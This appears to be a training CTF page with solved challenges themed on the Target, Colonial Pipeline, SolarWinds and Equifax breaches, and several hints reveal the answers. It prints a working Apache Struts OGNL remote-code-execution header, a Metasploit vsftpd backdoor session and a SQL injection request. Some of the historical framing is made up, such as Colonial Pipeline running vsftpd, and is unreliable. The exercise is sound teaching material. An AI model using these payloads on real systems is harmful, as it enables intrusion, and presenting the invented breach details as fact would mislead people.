📦 Scenario 1 — Target Breach (2013) · 150 pts
Third-Party Access
✓ SOLVED
Attackers gained initial access to Target's network through a third-party HVAC vendor. The vendor's name was embedded in a public contractor portal document — encoded to obscure it.
Encoded contractor ID: RmF6aW8gVGVjaA==
Task: Decode the Base64 string above. Submit the vendor name as the flag.
Use a Base64 decoder. Try: atob('RmF6aW8gVGVjaA==') in your browser console (F12 → Console)
Incorrect flag — try again
SQL Injection Payload
✓ SOLVED
Target's point-of-sale web interface was vulnerable to SQL injection. Attackers extracted the table containing customer payment data.
GET /pos/query?id=1 UNION SELECT table_name,2,3 FROM information_schema.tables--
HTTP/1.1 200 OK
{"result":[["payment_cards","2","3"],["session_tokens","2","3"],["admin_users","2","3"]]}
Task: Identify the table that contains customer payment data from the SQL response above. Submit it as the flag.
Look at the first result returned. Which table name most directly corresponds to stolen card data?
Incorrect flag — try again
Data Exfiltration Server
✓ SOLVED
After stealing 40 million card records, attackers moved data to an external FTP server. Analyze this firewall log to find the exfiltration destination IP.
2013-12-11 02:14:33 192.168.1.50 → 10.0.0.1 FTP ALLOW (internal)
2013-12-11 02:14:41 192.168.1.50 → 10.0.0.22 DNS ALLOW (internal)
2013-12-11 02:14:55 192.168.1.50 → 96.27.170.30 FTP ALLOW (EXTERNAL!) 4.2GB
2013-12-11 02:15:01 192.168.1.50 → 10.0.0.1 DNS ALLOW (internal)
2013-12-11 02:15:44 192.168.1.50 → 10.0.0.22 HTTP ALLOW (internal)
Task: Identify the external IP address used to exfiltrate data. Submit it as the flag.
Look for the connection flagged as (EXTERNAL!) with a large data transfer. Internal IPs start with 10. or 192.168.
Incorrect flag — try again
⛽ Scenario 2 — Colonial Pipeline (2021) · 150 pts
vsftpd Backdoor Port
✓ SOLVED
Colonial Pipeline ran a legacy vsftpd 2.3.4 FTP server. This version contains a backdoor that opens a shell on a specific port when triggered with a smiley face in the username.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 172.20.0.20
msf6 exploit(vsftpd_234_backdoor) > run
[*] 172.20.0.20:21 - Banner: 220 vsFTPd 2.3.4
[*] 172.20.0.20:21 - USER: 331 Please specify password.
[+] 172.20.0.20:21 - Backdoor service has been spawned, handling...
[+] 172.20.0.20:???? - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Found shell.
Task: Research vsftpd 2.3.4. What port does the backdoor shell open on? Format your flag as:
MCCoE{port_XXXX}The backdoor in vsftpd 2.3.4 listens on port 6200 (Metasploit module / Rapid7 advisory). Your flag should follow the format MCCoE{port_6200} — include the word "port" and an underscore before the number.
Incorrect flag — try again
CVE Identification
✓ SOLVED
Every known vulnerability has a CVE number. Identifying the correct CVE is the first step in understanding how to detect and defend against an attack.
Vulnerability: vsftpd 2.3.4 smiley-face backdoor
Affected versions: vsftpd 2.3.4 only
Impact: Remote unauthenticated root shell
CVSS Score: 10.0 (Critical)
Published: 2011
Task: What is the CVE number for the vsftpd 2.3.4 backdoor? Submit it as the flag.
Search NVD (nvd.nist.gov) for "vsftpd 2.3.4 backdoor" or look it up in Metasploit module info. The year is 2011.
Incorrect flag — try again
Weak Credentials
✓ SOLVED
Colonial Pipeline attackers gained VPN access using a password found in a previously leaked credential database. The password violated basic security policy.
Cracked hash from leaked database:
Hash: 5f4dcc3b5aa765d61d8327deb882cf99
Type: MD5
Decoded: ???
Task: Crack the MD5 hash above to find the compromised password. Submit it as the flag. (Hint: it is a very common password)
MD5 hash 5f4dcc3b5aa765d61d8327deb882cf99 is one of the most commonly cracked hashes in the world. Try crackstation.net or think about what the most common password of all time is.
Incorrect flag — try again
☁ Scenario 3 - SolarWinds (2020) - 150 pts
SUNBURST Malware Name
✓ SOLVED
The SolarWinds attackers hid malicious code inside a legitimate software update. The malware was given a codename by security researchers at FireEye who discovered it.
FireEye Threat Research Report (Dec 13, 2020)
-------------------------------------------
We have identified a global intrusion campaign that leverages
a trojanized update to SolarWinds Orion software.
The malware, which we have named ????????, is distributed as
part of SolarWinds Orion software updates between March and
June 2020 (versions 2019.4 through 2020.2.1).
Initial access: Supply chain compromise
Persistence: DLL hijacking in legitimate update process
C2: Subdomain generation algorithm via avsvmcloud.com
Task: Research the SolarWinds attack. What codename did FireEye give the SUNBURST malware? Submit it as the flag.
FireEye named the backdoor after a celestial object. It was discovered in December 2020 and became one of the biggest supply chain attacks ever. Search "SolarWinds FireEye malware name 2020".
Incorrect flag — try again
C2 Domain Discovery
✓ SOLVED
SUNBURST used a domain generation algorithm to contact its command and control server. The C2 domain was discovered in DNS logs weeks after the initial infection.
DNS Query Log - December 2020
--------------------------------------
corporate-dc01 dns.google.com ALLOW
corporate-ws04 windowsupdate.com ALLOW
corporate-srv02 avsvmcloud.com ALLOW [FLAGGED: unknown external domain]
corporate-dc01 api.solarwinds.com ALLOW
corporate-ws11 avsvmcloud.com ALLOW [FLAGGED: unknown external domain]
corporate-srv05 github.com ALLOW
Task: Identify the SUNBURST command and control domain from the DNS logs above. Submit it as the flag.
Look for the domain that appears multiple times and is flagged as unknown external. It was the actual C2 domain used in the SolarWinds attack.
Incorrect flag — try again
MITRE ATT&CK Technique
✓ SOLVED
SUNBURST used a specific MITRE ATT&CK technique to gain access through the software supply chain. Every technique in ATT&CK has a unique ID number.
Attack vector: Compromise of SolarWinds build process
Delivery: Malicious DLL distributed via official software update
Result: Attackers had access to 18,000+ organizations
MITRE category: Initial Access
Sub-technique: Compromise Software Supply Chain
MITRE ID: T1195.???
Task: What is the full MITRE ATT&CK technique ID for "Supply Chain Compromise: Compromise Software Supply Chain"? Submit it as the flag.
Go to attack.mitre.org and search for "Supply Chain Compromise". Find the sub-technique for software supply chain specifically. The parent is T1195, the sub-technique number is .002.
Incorrect flag — try again
📊 Scenario 4 - Equifax (2017) - 150 pts
Vulnerable Framework CVE
✓ SOLVED
Equifax ran an unpatched Apache Struts web application. A critical vulnerability in Struts allowed attackers to execute code remotely just by sending a crafted HTTP Content-Type header.
Captured HTTP Request - May 13, 2017
--------------------------------------
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: 143.244.205.xxx
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#ros)}
Task: What is the CVE number for the Apache Struts 2 remote code execution vulnerability exploited in the Equifax breach? Submit it as the flag.
Search NVD for "Apache Struts 2 remote code execution 2017 Content-Type". The vulnerability was patched in March 2017 but Equifax failed to apply it. Year is 2017.
Incorrect flag — try again
Stolen Data Type
✓ SOLVED
Equifax exposed 147 million Americans' most sensitive personal data. Decode this hex string found in the attacker's exfiltration script to identify the most critical data type stolen.
Hex found in attacker script:
73 6f 63 69 61 6c 5f 73 65 63 75 72 69 74 79 5f 6e 75 6d 62 65 72
Task: Decode the hex string above. Submit the decoded text as the flag (use underscores as shown).
Convert each hex pair to ASCII. In your browser console: decodeURIComponent('%73%6f%63%69%61%6c%5f%73%65%63%75%72%69%74%79%5f%6e%75%6d%62%65%72') — or use an online hex decoder.
Incorrect flag — try again
Days Undetected
✓ SOLVED
One of the most damning facts about the Equifax breach was how long attackers went undetected inside their network after initial exploitation.
Timeline:
May 13, 2017 - Initial exploitation of Apache Struts
May 13, 2017 - First data exfiltration begins
July 29, 2017 - Equifax security team detects anomalous traffic
Sept 7, 2017 - Equifax publicly discloses the breach
Question: How many days did attackers have undetected access?
(From first exploitation to detection)
Task: Calculate the number of days between initial exploitation and detection. Submit it as the flag in the format MCCoE{XX_days}.
Count from May 13 to July 29. May has 31 days, so 31-13=18 days remaining in May, plus all of June (30 days), plus 29 days in July.
Incorrect flag — try again